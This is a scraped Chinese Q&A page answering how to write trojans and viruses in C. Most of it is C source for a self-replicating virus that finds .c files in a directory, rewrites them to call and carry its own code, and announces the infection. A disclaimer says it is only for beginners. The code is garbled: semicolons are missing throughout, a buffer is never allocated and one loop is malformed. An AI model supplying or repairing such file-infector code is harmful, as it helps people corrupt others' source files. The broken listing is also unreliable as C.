怎么用C语言编写木马、病毒等程序?

Python026

怎么用C语言编写木马、病毒等程序?,第1张

C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。\x0d\x0a如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等

#include <stdio.h>

#include <dir.h>

void main(void)

{

virus()

}

int virus()

{

struct ffblk ffblk

FILE *in,*out,*read

char *virus="virus.c"

char buf[50][80]

char *p

char *end="return"

char *bracket="}"

char *main="main"

char *include[2]={"stdio.h","dir.h"}

char *int_virus="int virus()"

char *buffer

int done,i,j=0,flag=0

printf("\nI have a virus. Writen by PuBin\n")

done = findfirst("*.c",&ffblk,0)

while (!done)

{

i=0

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next

}

do{

if(i>=50)

{

fclose(in)

goto next

}

p=fgets(buf[i],80,in)

i++

}while(p!=NULL)

fclose(in)

out=fopen(ffblk.ff_name,"w+t")

fputs("#include<stdio.h>\n",out)

fputs("#include<dir.h>\n",out)

do

{

if(strstr(buf[j],main)!=NULL)

{

for(j<i-1j++)

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out)

else

{

if(flag==0)

{

flag=1

fputs("virus()\n",out)

}

fputs(buf[j],out)

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out)

j++

}

else

j++

}while(j<i-1)

read=fopen(virus,"rt")

do

{

p=fgets(buffer,80,read)

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out)

else

{

fputs(" char *virus=\"",out)

fputs(ffblk.ff_name,out)

fputs("\"\n",out)

}

p=fgets(buffer,80,read)

}

}while(p!=NULL)

fclose(read)

fclose(out)

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name)

next: done = findnext(&ffblk)

}

return 0

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。